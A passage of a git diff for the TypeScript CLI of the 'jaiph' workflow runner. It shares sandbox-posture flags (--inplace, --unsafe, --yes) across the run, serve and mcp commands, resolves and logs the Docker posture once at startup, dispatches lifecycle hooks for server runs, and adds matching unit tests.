sandboxFlags); if (!loaded.state) { log("jaiph mcp: reload failed; keeping the previous tool set:"); for (const f of loaded.failures) log(` ${f}`); diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index ecdb1eee..d387fddb 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -39,7 +39,11 @@ const RUN_USAGE = " -y, --yes skip the in-place confirmation prompt (sets JAIPH_INPLACE_YES=1 for this run)\n" + " -- end of jaiph flags; remaining args go to workflow default\n" + " -h, --help show this help\n\n" + - "Note: these flags only affect `jaiph run`; the corresponding env vars also apply to other entry points.\n\n" + + "--workspace, --env, --inplace, --unsafe, and --yes are the shared execution-policy flags,\n" + + "accepted identically by jaiph serve and jaiph mcp. Precedence: CLI flags > JAIPH_* env vars >\n" + + "workflow config metadata > defaults. --inplace and --unsafe conflict (E_FLAG_CONFLICT).\n" + + "Consent: jaiph run confirms --inplace / unsafe host-only interactively (--yes auto-confirms;\n" + + "required non-TTY); the corresponding env vars also apply to other entry points.\n\n" + "Examples:\n" + " jaiph run ./flows/review.jh \"review this diff\"\n" + " jaiph run --inplace --workspace ./app ./flows/fix.jh\n"; @@ -66,7 +70,7 @@ import { formatRunningBottomLine, } from "../run/progress"; import { loadMergedHooks, registerHooksSubscriber } from "../run/hooks"; -import { resolveRuntimeEnv, applySandboxFlags, resolveEnvPairs } from "../run/env"; +import { resolveRuntimeEnv, applySandboxFlags, resolveEnvPairs, isUnsafeHostOnly } from "../run/env"; import { preflightAgentCredentials, collectEntryBackends } from "../run/preflight-credentials"; import { planTrustedEnvs } from "../run/trusted-envs"; import { colorize, formatJaiphRunningBannerLines } from "../run/display"; @@ -89,7 +93,7 @@ export async function runWorkflow(rest: string[]): Promise { } let parsed: ReturnType; try { - parsed = parseArgs(rest); + parsed = parseArgs(rest, "run"); } catch (err) { process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); return 1; @@ -267,7 +271,7 @@ export async function runWorkflow(rest: string[]): Promise { emitter.emit("workflow_start", { event: "workflow_start", - workflow_id: "", + workflow_id: runId, timestamp: new Date().toISOString(), run_path: inputAbs, workspace: workspaceRoot, @@ -346,27 +350,6 @@ export async function runWorkflow(rest: string[]): Promise { } } -/** - * True when Docker is off specifically because the user opted into unsafe mode - * (`JAIPH_UNSAFE=true` / `--unsafe`) while Docker would otherwise be on. - * - * "Would otherwise be on" is the key gate: it excludes win32 (forced host-only - * with its own notice) and an explicit `JAIPH_DOCKER_ENABLED=false` (Docker - * disabled by config, not by the unsafe opt-in). Only the unsafe-driven case - * gets the extra host-only confirmation. - */ -function isUnsafeHostOnly( - dockerEnabled: boolean, - env: Record, -): boolean { - return ( - !dockerEnabled && - process.platform !== "win32" && - env.JAIPH_DOCKER_ENABLED === undefined && - env.JAIPH_UNSAFE === "true" - ); -} - /** * Raw mode: transparent passthrough for Docker sandbox. * Parses and compiles the workflow, spawns the runtime with inherited stdio diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts index e4656ef1..3514ee61 100644 --- a/src/cli/commands/serve.ts +++ b/src/cli/commands/serve.ts @@ -11,8 +11,10 @@ import { createGenerationTracker, createSourceWatcher, resolveStartupPosture, + logStartupPosture, WATCH_INTERVAL_MS, type GenerationTracker, + type StartupPosture, } from "../shared/generation"; import { ServeHandler } from "../serve/handler"; import { createHttpServer, listen } from "../serve/server"; @@ -44,7 +46,7 @@ function intEnv(raw: string | undefined, name: string, fallback: number, min: nu } const SERVE_USAGE = - "Usage: jaiph serve [--host ] [--port ] [--workspace ] [--env KEY[=VALUE]]... \n\n" + + "Usage: jaiph serve [--host ] [--port ] [--workspace ] [--inplace] [--unsafe] [--yes|-y] [--env KEY[=VALUE]]... \n\n" + "Serve the file's workflows as an HTTP API with a generated OpenAPI 3.1 document\n" + "and an embedded Swagger UI. Anything that speaks HTTP can invoke tested workflows\n" + "and inspect their runs.\n\n" + @@ -70,7 +72,17 @@ const SERVE_USAGE = " --port listen port (default: 5247)\n" + " --workspace workspace root for import resolution (default: auto-detect)\n" + " --env KEY=VALUE define KEY in every run's env (repeatable); --env KEY forwards the host value.\n" + + " --inplace Docker sandbox with the host workspace bind-mounted rw for every run (JAIPH_INPLACE=1)\n" + + " --unsafe every run executes on the host with no sandbox (JAIPH_UNSAFE=true)\n" + + " -y, --yes record auto-consent for the posture (JAIPH_INPLACE_YES=1)\n" + " -h, --help show this help\n\n" + + "Execution policy: --workspace/--env/--inplace/--unsafe/--yes are shared with jaiph run and\n" + + "jaiph mcp. Precedence: CLI flags > JAIPH_* env vars > workflow config metadata > defaults.\n" + + "--inplace and --unsafe conflict (E_FLAG_CONFLICT, at startup before anything is spawned).\n" + + "The effective sandbox posture is resolved and printed once at startup and applied to every\n" + + "run; launching the server with the flag or env var is the consent (no interactive prompt).\n" + + "Inside a container the container itself is the sandbox (the runtime image bakes\n" + + "JAIPH_UNSAFE=true), so host-only execution there is the documented standalone posture.\n\n" + "Example:\n" + " JAIPH_SERVE_TOKEN=secret jaiph serve --host 0.0.0.0 ./tools.jh\n"; @@ -87,12 +99,13 @@ export async function runServe(rest: string[]): Promise { } let parsed: ReturnType; try { - parsed = parseArgs(rest); + parsed = parseArgs(rest, "serve"); } catch (err) { process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); return 1; } - const { workspace, env, positional, host: hostArg, port: portArg } = parsed; + const { workspace, env, positional, host: hostArg, port: portArg, inplace, unsafe, yes } = parsed; + const sandboxFlags = { inplace, unsafe, yes }; const input = positional[0]; if (!input) { process.stderr.write("jaiph serve requires a .jh file path\n"); @@ -175,7 +188,7 @@ export async function runServe(rest: string[]): Promise { let generation = 0; let generations: GenerationTracker; try { - const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve"); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve", sandboxFlags); if (!loaded.state) { for (const f of loaded.failures) log(f); rmSync(tempRoot, { recursive: true, force: true }); @@ -188,24 +201,12 @@ export async function runServe(rest: string[]): Promise { return 1; } - let dockerConfig: ReturnType["dockerConfig"]; + let posture: StartupPosture; let hostRunsRoot: string; try { - const posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); - dockerConfig = posture.dockerConfig; + posture = resolveStartupPosture(generations.current(), inputAbs, workspaceRoot, log); hostRunsRoot = posture.hostRunsRoot; - if (dockerConfig.enabled) { - if (posture.sandboxMode === "inplace") { - log( - `jaiph serve: runs execute in a Docker sandbox in-place on ${workspaceRoot} ` + - "(JAIPH_INPLACE=1 opt-in: effects land live on the workspace).", - ); - } else { - log(`jaiph serve: runs execute in a Docker sandbox (${posture.sandboxMode} mode; workspace isolated).`); - } - } else { - log("jaiph serve: runs execute on the host with no sandbox."); - } + logStartupPosture("jaiph serve", "runs", posture, workspaceRoot, log); } catch (err) { log(err instanceof Error ? err.message : String(err)); rmSync(tempRoot, { recursive: true, force: true }); @@ -237,7 +238,7 @@ export async function runServe(rest: string[]): Promise { const lease = generations.acquire(); const p = callWorkflow( lease.state.callEnv, - dockerConfig, + posture, spec.workflow, spec.params.map((pp) => args[pp] ?? ""), runId, @@ -262,7 +263,7 @@ export async function runServe(rest: string[]): Promise { reloading = true; try { generation += 1; - const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve"); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve", sandboxFlags); if (!loaded.state) { log("jaiph serve: reload failed; keeping the previous workflows:"); for (const f of loaded.failures) log(` ${f}`); diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index 91e52a94..c6229de2 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -4,16 +4,22 @@ import type { ChildProcess } from "node:child_process"; import type { JaiphConfig } from "../../config"; import type { jaiphModule } from "../../types"; import { spawnRunProcess, waitForRunExit, cancelRunProcess } from "../run/lifecycle"; -import { resolveRuntimeEnv } from "../run/env"; +import { resolveRuntimeEnv, applySandboxFlags, type SandboxFlags } from "../run/env"; import { collectEntryBackends } from "../run/preflight-credentials"; -import { parseLogEvent, parseStepEvent } from "../run/events"; +import { parseLogEvent, parseStepEvent, type StepEvent } from "../run/events"; +import { + runHooksForEvent, + stepStartHookPayload, + stepEndHookPayload, + type MergedHookConfig, +} from "../run/hooks"; import { spawnDockerProcess, stopDockerContainer, withDockerExitGuard, resolveDockerHostRunsRoot, - selectMcpSandboxMode, type DockerRunConfig, + type SandboxMode, } from "../../runtime/docker"; import { discoverDockerRunDir, remapContainerPath } from "../shared/errors"; import { exportRunTelemetry } from "../telemetry/otlp"; @@ -76,6 +82,30 @@ export interface WorkflowCallEnvironment { * choke point either way. */ extraEnv: Record; + /** + * Sandbox flags from the server's CLI surface (`--inplace` / `--unsafe` / + * `--yes`), applied to every call's runtime env exactly as `jaiph run` + * applies them, so the child observes the same `JAIPH_*` posture vars in + * every mode. Conflicts were already rejected at server startup. + */ + sandboxFlags?: SandboxFlags; + /** + * Merged lifecycle-hook config (`hooks.json`), loaded once per generation. + * When present, every call dispatches the same four hook events as + * interactive `jaiph run` (`workflow_start`, `step_start`, `step_end`, + * `workflow_end`) with the same payload shapes. + */ + hooks?: MergedHookConfig; +} + +/** + * Sandbox posture for a workflow server, resolved **once at startup** + * (`resolveStartupPosture`) and applied verbatim to every call — a call never + * re-derives Docker enablement or the sandbox mode from its own env. + */ +export interface ExecutionPosture { + dockerConfig: DockerRunConfig; + sandboxMode: SandboxMode; } /** Output accumulated from a run child's streams while it executes. */ @@ -146,7 +176,7 @@ export function capBytes(text: string, cap: number): string { */ export async function callWorkflow( env: WorkflowCallEnvironment, - dockerConfig: DockerRunConfig, + posture: ExecutionPosture, workflowSymbol: string, positionalArgs: string[], runId: string, @@ -157,10 +187,38 @@ export async function callWorkflow( runtimeEnv.JAIPH_SOURCE_ABS = env.inputAbs; runtimeEnv.JAIPH_RUN_ID = runId; runtimeEnv.JAIPH_SCRIPTS = env.scriptsDir; + // Same env normalization as `jaiph run --inplace/--unsafe/--yes`: the child + // observes identical JAIPH_* posture vars in every invocation mode. Never + // throws here — a flag/env conflict already failed server startup. + applySandboxFlags(runtimeEnv, env.sandboxFlags ?? {}); + + const startedAt = Date.now(); + if (env.hooks) { + runHooksForEvent(env.hooks, "workflow_start", { + event: "workflow_start", + workflow_id: runId, + timestamp: new Date().toISOString(), + run_path: env.inputAbs, + workspace: env.workspaceRoot, + }); + } - const result = dockerConfig.enabled - ? await callWorkflowDocker(env, dockerConfig, workflowSymbol, positionalArgs, runtimeEnv, runId, caps, ctx) + const result = posture.dockerConfig.enabled + ? await callWorkflowDocker(env, posture, workflowSymbol, positionalArgs, runtimeEnv, runId, caps, ctx) : await callWorkflowHost(env, workflowSymbol, positionalArgs, runtimeEnv, runId, caps, ctx); + + if (env.hooks) { + runHooksForEvent(env.hooks, "workflow_end", { + event: "workflow_end", + workflow_id: runId, + status: result.isError ? (result.exitStatus || 1) : 0, + elapsed_ms: Date.now() - startedAt, + timestamp: new Date().toISOString(), + run_path: env.inputAbs, + workspace: env.workspaceRoot, + run_dir: result.runDir, + }); + } // One export per call — the shared choke point covering every MCP tool call and // HTTP `jaiph serve` invocation. Best-effort; never changes the call result. await exportRunTelemetry({ @@ -173,6 +231,28 @@ export async function callWorkflow( return result; } +/** + * Combined per-step-event handler for one call: dispatches the step hooks + * (when configured) and forwards the caller's progress callback. Passed to + * `attachOutputCollector` by both execution paths so hook dispatch cannot + * diverge between host and Docker. + */ +function buildStepEventHandler( + env: WorkflowCallEnvironment, + ctx: WorkflowCallContext | undefined, +): (ev: StepEvent) => void { + return (ev) => { + if (env.hooks) { + if (ev.type === "STEP_START") { + runHooksForEvent(env.hooks, "step_start", stepStartHookPayload(ev, ev.id, env.inputAbs, env.workspaceRoot)); + } else { + runHooksForEvent(env.hooks, "step_end", stepEndHookPayload(ev, ev.id, env.inputAbs, env.workspaceRoot)); + } + } + ctx?.onStep?.(ev.kind, ev.name); + }; +} + /** Host execution — same self-spawn path as `jaiph run --raw`. */ async function callWorkflowHost( env: WorkflowCallEnvironment, @@ -196,7 +276,7 @@ async function callWorkflowHost( env: runtimeEnv, }); ctx?.onCancelHandle?.(() => cancelRunProcess(child)); - const collector = attachOutputCollector(child, ctx?.onStep, caps); + const collector = attachOutputCollector(child, buildStepEventHandler(env, ctx), caps); const exit = await waitForRunExit(child); collector.drain(); @@ -213,7 +293,7 @@ async function callWorkflowHost( */ async function callWorkflowDocker( env: WorkflowCallEnvironment, - dockerConfig: DockerRunConfig, + posture: ExecutionPosture, workflowSymbol: string, positionalArgs: string[], runtimeEnv: Record, @@ -221,10 +301,12 @@ async function callWorkflowDocker( caps: OutputCaps, ctx?: WorkflowCallContext, ): Promise { - const sandboxMode = selectMcpSandboxMode(runtimeEnv); + // Posture (Docker enablement + sandbox mode) was resolved once at server + // startup; the call applies it verbatim rather than re-deriving from env. + const sandboxMode = posture.sandboxMode; const sandboxRunDir = resolveDockerHostRunsRoot(env.workspaceRoot, runtimeEnv); const dockerResult = spawnDockerProcess({ - config: dockerConfig, + config: posture.dockerConfig, sourceAbs: env.inputAbs, workspaceRoot: env.workspaceRoot, sandboxRunDir, @@ -242,7 +324,7 @@ async function callWorkflowDocker( stopDockerContainer(dockerResult.containerName); cancelRunProcess(dockerResult.child); }); - const collector = attachOutputCollector(dockerResult.child, ctx?.onStep, caps); + const collector = attachOutputCollector(dockerResult.child, buildStepEventHandler(env, ctx), caps); return withDockerExitGuard(dockerResult, async () => { const exit = await waitForRunExit(dockerResult.child); collector.drain(); @@ -264,13 +346,13 @@ async function callWorkflowDocker( /** * Attach line-oriented listeners to a run child's stderr/stdout. Parses * `__JAIPH_EVENT__` log/step lines from stderr (child stdout is captured but - * never forwarded). `onStep` (when given) fires once per `STEP_START`/`STEP_END` - * event so the caller can stream progress. `drain()` flushes any trailing - * partial stderr line. + * never forwarded). `onStepEvent` (when given) fires once per parsed + * `STEP_START`/`STEP_END` event with the full event so the caller can stream + * progress and dispatch hooks. `drain()` flushes any trailing partial stderr line. */ export function attachOutputCollector( child: ChildProcess, - onStep: ((kind: string, name: string) => void) | undefined, + onStepEvent: ((event: StepEvent) => void) | undefined, caps: OutputCaps, ): { data: CollectedOutput; drain: () => void } { const data: CollectedOutput = { logs: [], rawStderr: "", rawStdout: "" }; @@ -310,7 +392,7 @@ export function attachOutputCollector( const detail = stepEvent.err_content.trim() || stepEvent.out_content.trim(); data.failedStep = { name: `${stepEvent.kind} ${stepEvent.name}`.trim(), detail }; } - onStep?.(stepEvent.kind, stepEvent.name); + onStepEvent?.(stepEvent); return; } if (!stderrCut) { diff --git a/src/cli/run/env.ts b/src/cli/run/env.ts index 0b18f944..11ddafe3 100644 --- a/src/cli/run/env.ts +++ b/src/cli/run/env.ts @@ -73,6 +73,29 @@ export function applySandboxFlags( } } +/** + * True when Docker is off specifically because the user opted into unsafe mode + * (`JAIPH_UNSAFE=true` / `--unsafe`) while Docker would otherwise be on. + * + * "Would otherwise be on" is the key gate: it excludes win32 (forced host-only + * with its own notice) and an explicit `JAIPH_DOCKER_ENABLED=false` (Docker + * disabled by config, not by the unsafe opt-in). Only the unsafe-driven case + * gets the extra host-only consent (interactive on `jaiph run`; a startup + * notice on `jaiph serve` / `jaiph mcp`, where launching the server with the + * flag or env var is the consent). + */ +export function isUnsafeHostOnly( + dockerEnabled: boolean, + env: Record, +): boolean { + return ( + !dockerEnabled && + process.platform !== "win32" && + env.JAIPH_DOCKER_ENABLED === undefined && + env.JAIPH_UNSAFE === "true" + ); +} + const LOCKED_ENV_KEYS = [ "JAIPH_AGENT_MODEL", "JAIPH_AGENT_COMMAND", diff --git a/src/cli/run/hooks.ts b/src/cli/run/hooks.ts index e3af0305..0262bb03 100644 --- a/src/cli/run/hooks.ts +++ b/src/cli/run/hooks.ts @@ -5,6 +5,7 @@ import { spawn } from "node:child_process"; import { resolveShell } from "../../runtime/kernel/portability"; import type { HookConfig, HookEventName, HookPayload } from "../../types"; import type { RunEmitter } from "./emitter"; +import type { StepEvent } from "./events"; const HOOKS_FILENAME = "hooks.json"; @@ -166,6 +167,52 @@ export function runHooksForEvent( } } +/** + * Build the `step_start` hook payload from a parsed runtime step event. One + * builder for every invocation mode (direct `jaiph run`, `jaiph serve` HTTP + * runs, `jaiph mcp` tool calls) so the payload contract cannot drift. + */ +export function stepStartHookPayload( + event: StepEvent, + stepId: string, + inputAbs: string, + workspaceRoot: string, +): HookPayload { + return { + event: "step_start", + workflow_id: event.run_id, + step_id: stepId, + step_kind: event.kind, + step_name: event.name, + timestamp: event.ts || new Date().toISOString(), + run_path: inputAbs, + workspace: workspaceRoot, + }; +} + +/** Build the `step_end` hook payload — shared across all three invocation modes. */ +export function stepEndHookPayload( + event: StepEvent, + stepId: string, + inputAbs: string, + workspaceRoot: string, +): HookPayload { + return { + event: "step_end", + workflow_id: event.run_id, + step_id: stepId, + step_kind: event.kind, + step_name: event.name, + status: event.status ?? 1, + elapsed_ms: event.elapsed_ms ?? 0, + timestamp: event.ts || new Date().toISOString(), + run_path: inputAbs, + workspace: workspaceRoot, + out_file: event.out_file || undefined, + err_file: event.err_file || undefined, + }; +} + /** Subscribe to emitter events and invoke hooks for each lifecycle event. */ export function registerHooksSubscriber( emitter: RunEmitter, @@ -174,33 +221,11 @@ export function registerHooksSubscriber( workspaceRoot: string, ): void { emitter.on("step_start", (data) => { - runHooksForEvent(config, "step_start", { - event: "step_start", - workflow_id: data.event.run_id, - step_id: data.eventId, - step_kind: data.event.kind, - step_name: data.event.name, - timestamp: data.event.ts || new Date().toISOString(), - run_path: inputAbs, - workspace: workspaceRoot, - }); + runHooksForEvent(config, "step_start", stepStartHookPayload(data.event, data.eventId, inputAbs, workspaceRoot)); }); emitter.on("step_end", (data) => { - runHooksForEvent(config, "step_end", { - event: "step_end", - workflow_id: data.event.run_id, - step_id: data.eventId, - step_kind: data.event.kind, - step_name: data.event.name, - status: data.event.status ?? 1, - elapsed_ms: data.event.elapsed_ms ?? 0, - timestamp: data.event.ts || new Date().toISOString(), - run_path: inputAbs, - workspace: workspaceRoot, - out_file: data.event.out_file || undefined, - err_file: data.event.err_file || undefined, - }); + runHooksForEvent(config, "step_end", stepEndHookPayload(data.event, data.eventId, inputAbs, workspaceRoot)); }); emitter.on("workflow_start", (payload) => { diff --git a/src/cli/shared/generation-posture.test.ts b/src/cli/shared/generation-posture.test.ts new file mode 100644 index 00000000..2ea77008 --- /dev/null +++ b/src/cli/shared/generation-posture.test.ts @@ -0,0 +1,145 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { loadGeneration, resolveStartupPosture, logStartupPosture, type GenerationState } from "./generation"; +import type { SandboxFlags } from "../run/env"; +import { _dockerExec } from "../../runtime/docker"; + +/** + * `resolveStartupPosture` reads the server's process env; these tests pin the + * flag → posture mapping, so the sandbox-control keys must not leak in from + * the test runner env (`npm test` exports JAIPH_UNSAFE=true globally). + */ +const CONTROL_KEYS = ["JAIPH_UNSAFE", "JAIPH_INPLACE", "JAIPH_INPLACE_YES", "JAIPH_DOCKER_ENABLED"] as const; + +function withCleanEnv(overrides: Record, fn: () => T): T { + const saved: Record = {}; + for (const key of CONTROL_KEYS) { + saved[key] = process.env[key]; + delete process.env[key]; + } + for (const [key, value] of Object.entries(overrides)) { + saved[key] = saved[key] ?? process.env[key]; + process.env[key] = value; + } + try { + return fn(); + } finally { + for (const [key, value] of Object.entries(saved)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } + } +} + +/** Stub every docker CLI call (info / inspect / verify) as succeeding. */ +function withDockerStub(fn: () => T): T { + const orig = _dockerExec.run; + _dockerExec.run = () => {}; + try { + return fn(); + } finally { + _dockerExec.run = orig; + } +} + +function makeGeneration(flags: SandboxFlags): { state: GenerationState; workspaceRoot: string; cleanup: () => void } { + const workspaceRoot = mkdtempSync(join(tmpdir(), "jaiph-posture-ws-")); + mkdirSync(join(workspaceRoot, ".jaiph"), { recursive: true }); + const inputAbs = join(workspaceRoot, "tools.jh"); + writeFileSync(inputAbs, ["# Greets.", "workflow greet() {", ' return "hi"', "}", ""].join("\n")); + const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-posture-tmp-")); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, 0, {}, () => {}, "test", flags); + assert.ok(loaded.state, `fixture must validate: ${loaded.failures.join("; ")}`); + return { + state: loaded.state!, + workspaceRoot, + cleanup: () => { + rmSync(workspaceRoot, { recursive: true, force: true }); + rmSync(tempRoot, { recursive: true, force: true }); + }, + }; +} + +function postureFor(flags: SandboxFlags, overrides: Record = {}) { + const gen = makeGeneration(flags); + try { + return withCleanEnv(overrides, () => + withDockerStub(() => { + const posture = resolveStartupPosture(gen.state, gen.state.callEnv.inputAbs, gen.workspaceRoot, () => {}); + const lines: string[] = []; + logStartupPosture("jaiph serve", "runs", posture, gen.workspaceRoot, (l) => lines.push(l)); + return { posture, lines, workspaceRoot: gen.workspaceRoot }; + }), + ); + } finally { + gen.cleanup(); + } +} + +test("startup posture: --inplace keeps Docker on with the inplace sandbox mode, printed once", () => { + const { posture, lines, workspaceRoot } = postureFor({ inplace: true }); + assert.equal(posture.dockerConfig.enabled, true); + assert.equal(posture.sandboxMode, "inplace"); + assert.equal(posture.unsafeHostOnly, false); + assert.equal(lines.length, 1); + assert.ok(lines[0].includes(`in-place on ${workspaceRoot}`), lines[0]); +}); + +test("startup posture: env JAIPH_INPLACE=1 resolves identically to --inplace (env layer parity)", () => { + const viaFlag = postureFor({ inplace: true }); + const viaEnv = postureFor({}, { JAIPH_INPLACE: "1" }); + assert.equal(viaEnv.posture.dockerConfig.enabled, viaFlag.posture.dockerConfig.enabled); + assert.equal(viaEnv.posture.sandboxMode, viaFlag.posture.sandboxMode); +}); + +test("startup posture: --unsafe turns Docker off as the unsafe opt-in, printed once", () => { + const { posture, lines } = postureFor({ unsafe: true }); + assert.equal(posture.dockerConfig.enabled, false); + assert.equal(posture.unsafeHostOnly, true); + assert.equal(lines.length, 1); + assert.ok(lines[0].includes("on the host with no sandbox (unsafe opt-in"), lines[0]); +}); + +test("startup posture: Docker off by explicit config is not the unsafe opt-in", () => { + const { posture, lines } = postureFor({}, { JAIPH_DOCKER_ENABLED: "false" }); + assert.equal(posture.dockerConfig.enabled, false); + assert.equal(posture.unsafeHostOnly, false); + assert.equal(lines[0], "jaiph serve: runs execute on the host with no sandbox."); +}); + +test("startup posture: default (no flags, no env) is the isolated Docker snapshot", () => { + const { posture, lines } = postureFor({}); + assert.equal(posture.dockerConfig.enabled, true); + assert.equal(posture.sandboxMode, "snapshot"); + assert.ok(lines[0].includes("snapshot mode; workspace isolated"), lines[0]); +}); + +test("startup posture: --inplace + JAIPH_UNSAFE=true conflict fails before anything spawns", () => { + const gen = makeGeneration({ inplace: true }); + try { + withCleanEnv({ JAIPH_UNSAFE: "true" }, () => + withDockerStub(() => { + assert.throws( + () => resolveStartupPosture(gen.state, gen.state.callEnv.inputAbs, gen.workspaceRoot, () => {}), + /E_FLAG_CONFLICT/, + ); + }), + ); + } finally { + gen.cleanup(); + } +}); + +test("loadGeneration threads sandbox flags and the merged hook config into the call environment", () => { + const gen = makeGeneration({ unsafe: true, yes: true }); + try { + assert.deepEqual(gen.state.callEnv.sandboxFlags, { unsafe: true, yes: true }); + assert.ok(gen.state.callEnv.hooks, "hooks config is loaded per generation"); + assert.deepEqual(gen.state.callEnv.hooks!.workflow_start, [], "empty workspace has no hook commands"); + } finally { + gen.cleanup(); + } +}); diff --git a/src/cli/shared/generation.ts b/src/cli/shared/generation.ts index 5f61fca2..9f87c239 100644 --- a/src/cli/shared/generation.ts +++ b/src/cli/shared/generation.ts @@ -13,8 +13,9 @@ import { type DockerRunConfig, type SandboxMode, } from "../../runtime/docker"; -import { resolveRuntimeEnv } from "../run/env"; +import { resolveRuntimeEnv, applySandboxFlags, isUnsafeHostOnly, type SandboxFlags } from "../run/env"; import { preflightAgentCredentials } from "../run/preflight-credentials"; +import { loadMergedHooks } from "../run/hooks"; import { deriveTools, type McpToolSpec } from "../mcp/tools"; import type { WorkflowCallEnvironment } from "../exec/call"; @@ -43,6 +44,7 @@ export function loadGeneration( extraEnv: Record, log: (line: string) => void, label: string, + sandboxFlags: SandboxFlags = {}, ): { state?: GenerationState; failures: string[] } { const graph = loadModuleGraph(inputAbs, workspaceRoot); const diag = collectDiagnostics(graph); @@ -65,11 +67,15 @@ export function loadGeneration( const resolvedModuleMetadata = resolveModuleMetadata(mod, process.env); const effectiveConfig = metadataToConfig(resolvedModuleMetadata); + // Hooks reload with the generation, so a hooks.json edit is picked up on the + // next source change like every other per-generation input. + const hooks = loadMergedHooks(workspaceRoot); + return { state: { graph, tools, - callEnv: { inputAbs, workspaceRoot, mod, effectiveConfig, scriptsDir, graphFile, outDir, extraEnv }, + callEnv: { inputAbs, workspaceRoot, mod, effectiveConfig, scriptsDir, graphFile, outDir, extraEnv, sandboxFlags, hooks }, }, failures: [], }; @@ -139,23 +145,35 @@ export function createGenerationTracker(initial: GenerationState): GenerationTra }; } +/** Startup sandbox posture of a workflow server, resolved once and applied to every call. */ +export interface StartupPosture { + dockerConfig: DockerRunConfig; + sandboxMode: SandboxMode; + hostRunsRoot: string; + /** True when Docker is off *because of* the unsafe opt-in (not config/platform). */ + unsafeHostOnly: boolean; +} + /** * Resolve the shared startup sandbox posture for a workflow server (`jaiph mcp` - * and `jaiph serve`): the env-driven Docker selection (`jaiph run` semantics), - * a one-time image preparation when Docker is on, and the credential pre-flight - * (demoted to warnings — the server may outlive a credential fix). Throws when - * Docker is enabled but unavailable / the image can't be prepared; the caller - * turns that into an exit-1. Returns the resolved config + sandbox mode so the - * caller can print its own startup notice. + * and `jaiph serve`): sandbox flags normalized into env (`jaiph run` semantics — + * a flag/env posture conflict throws `E_FLAG_CONFLICT` here, before anything is + * spawned), the env-driven Docker selection, a one-time image preparation when + * Docker is on, and the credential pre-flight (demoted to warnings — the server + * may outlive a credential fix). Throws when Docker is enabled but unavailable / + * the image can't be prepared; the caller turns that into an exit-1. Returns the + * resolved posture so the caller can print the startup notice and apply the same + * posture to every call. */ export function resolveStartupPosture( state: GenerationState, inputAbs: string, workspaceRoot: string, log: (line: string) => void, -): { dockerConfig: DockerRunConfig; sandboxMode: SandboxMode; hostRunsRoot: string } { +): StartupPosture { const mod = state.graph.modules.get(inputAbs)!.ast; const startupEnv = resolveRuntimeEnv(state.callEnv.effectiveConfig, workspaceRoot, inputAbs); + applySandboxFlags(startupEnv, state.callEnv.sandboxFlags ?? {}); const dockerConfig = resolveDockerConfig(resolveModuleMetadata(mod, process.env)?.runtime, startupEnv); if (dockerConfig.enabled) { // Prepare the image once here rather than per call (a cold pull is slow). @@ -163,6 +181,7 @@ export function resolveStartupPosture( prepareImage(dockerConfig); } const sandboxMode = selectMcpSandboxMode(startupEnv); + const unsafeHostOnly = isUnsafeHostOnly(dockerConfig.enabled, startupEnv); // Credential pre-flight once at startup (warnings only: the server may outlive // a credential fix, and per-call failures still surface). const credPreflight = preflightAgentCredentials({ @@ -178,7 +197,39 @@ export function resolveStartupPosture( const hostRunsRoot = dockerConfig.enabled ? resolveDockerHostRunsRoot(workspaceRoot, startupEnv) : resolveHostRunsRoot(workspaceRoot, startupEnv); - return { dockerConfig, sandboxMode, hostRunsRoot }; + return { dockerConfig, sandboxMode, hostRunsRoot, unsafeHostOnly }; +} + +/** + * Print the effective sandbox posture once at server startup — the single + * notice both `jaiph serve` and `jaiph mcp` emit, so the wording (and the + * consent story it states) cannot drift between modes. `noun` names what the + * server executes ("runs" for HTTP, "tool calls" for MCP). + */ +export function logStartupPosture( + label: string, + noun: string, + posture: StartupPosture, + workspaceRoot: string, + log: (line: string) => void, +): void { + if (posture.dockerConfig.enabled) { + if (posture.sandboxMode === "inplace") { + log( + `${label}: ${noun} execute in a Docker sandbox in-place on ${workspaceRoot} ` + + "(inplace opt-in: effects land live on the workspace).", + ); + } else { + log(`${label}: ${noun} execute in a Docker sandbox (${posture.sandboxMode} mode; workspace isolated).`); + } + } else if (posture.unsafeHostOnly) { + log( + `${label}: ${noun} execute on the host with no sandbox (unsafe opt-in: ` + + "full filesystem and host environment access).", + ); + } else { + log(`${label}: ${noun} execute on the host with no sandbox.`); + } } /** Host runs root: absolute `JAIPH_RUNS_DIR` as-is, relative under the workspace, else `.jaiph/runs`. */ diff --git a/src/cli/shared/usage.test.ts b/src/cli/shared/usage.test.ts index 041185fb..054dd148 100644 --- a/src/cli/shared/usage.test.ts +++ b/src/cli/shared/usage.test.ts @@ -228,6 +228,70 @@ test("parseArgs: --env rejects JAIPH_RUN_WORKFLOW (managed via Docker MCP spawn assert.throws(() => parseArgs(["--env", "JAIPH_RUN_WORKFLOW=greet", "flow.jh"]), /E_ENV_RESERVED/); }); +// --------------------------------------------------------------------------- +// parseArgs: per-command flag scoping — shared execution-policy set everywhere, +// command-specific flags rejected elsewhere, unknown flags never positionals +// --------------------------------------------------------------------------- + +test("parseArgs: shared execution-policy flags parse identically for run, serve, and mcp", () => { + for (const command of ["run", "serve", "mcp"] as const) { + const r = parseArgs( + ["--workspace", "/tmp/ws", "--inplace", "--yes", "--env", "A=1", "flow.jh"], + command, + ); + assert.equal(r.workspace, "/tmp/ws", `${command}: --workspace`); + assert.equal(r.inplace, true, `${command}: --inplace`); + assert.equal(r.yes, true, `${command}: --yes`); + assert.deepEqual(r.env, [{ key: "A", value: "1" }], `${command}: --env`); + 